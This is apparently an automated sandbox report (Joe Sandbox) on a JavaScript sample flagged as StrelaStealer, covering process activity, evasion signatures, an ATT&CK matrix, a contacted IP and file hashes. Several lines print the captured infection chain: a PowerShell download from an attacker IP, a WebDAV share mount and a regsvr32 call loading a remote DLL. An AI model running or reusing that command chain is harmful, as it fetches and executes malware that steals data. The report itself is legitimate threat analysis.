Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4741			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5131			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6196	Thread sleep count: 4741 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4560	Thread sleep count: 5131 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3320	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 800	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4368	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7036	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2204035697.000001CCC3A7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2215669085.000001CCC3A28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2204035697.000001CCC3A8F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2215782058.000001CCC3A7C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3437693733.0000011153A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3438810077.000001115905A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2435213596266856603.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
2435213596266856603.js	8%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/q?	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pKn	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000001.00000003.2149394075.000001C5D7CC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2205186371.0000011158E60000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3438739378.0000011159000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/q?	net.exe, 00000007.00000002.2215669085.000001CCC3A28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pKn	net.exe, 00000007.00000002.2215725048.000001CCC3A5B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2204316729.000001CCC3A5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2204316729.000001CCC3A5B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588834
Start date and time:	2025-01-11 06:06:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2435213596266856603.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 23.200.0.33, 23.200.0.21, 192.168.2.6, 13.107.246.45, 18.213.11.84, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:07:00	API Interceptor	21x Sleep call for process: powershell.exe modified
00:07:04	API Interceptor	1x Sleep call for process: net.exe modified
00:07:04	API Interceptor	2x Sleep call for process: svchost.exe modified
00:07:12	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22742867259569153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2612377921588116147.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263086429886672
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0z:9JZj5MiKNnNhoxu+
MD5:	95236FAB846AEC355DE2552FCAD9000C
SHA1:	5C741C706F430AD6710575BF61B2B6595C435632
SHA-256:	E5BE5FCA35FABEB55B9B56644917E4460933B0B9A39BA8DA5F3067B6A6C4C744
SHA-512:	32293C8C151A66B2B2CAA7417136AB4D7C09F0E06B433B12EA9A5EA3D5004CD7793EAC5690D0404AB63D84EE4F4F4705EB535B66875E681236ACB2568A2072B5
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x3da493d0, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555594870413351
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	16772C4873C44C4B5F1AF7E9D9291FC2
SHA1:	7E12AF37797FFF9E6CB10FAD9079DEBC8907E0DF
SHA-256:	480AD9B701DAE53904CB5B101E9142B6DDDE5CFE87F556A51CBD9E1CD6B466CD
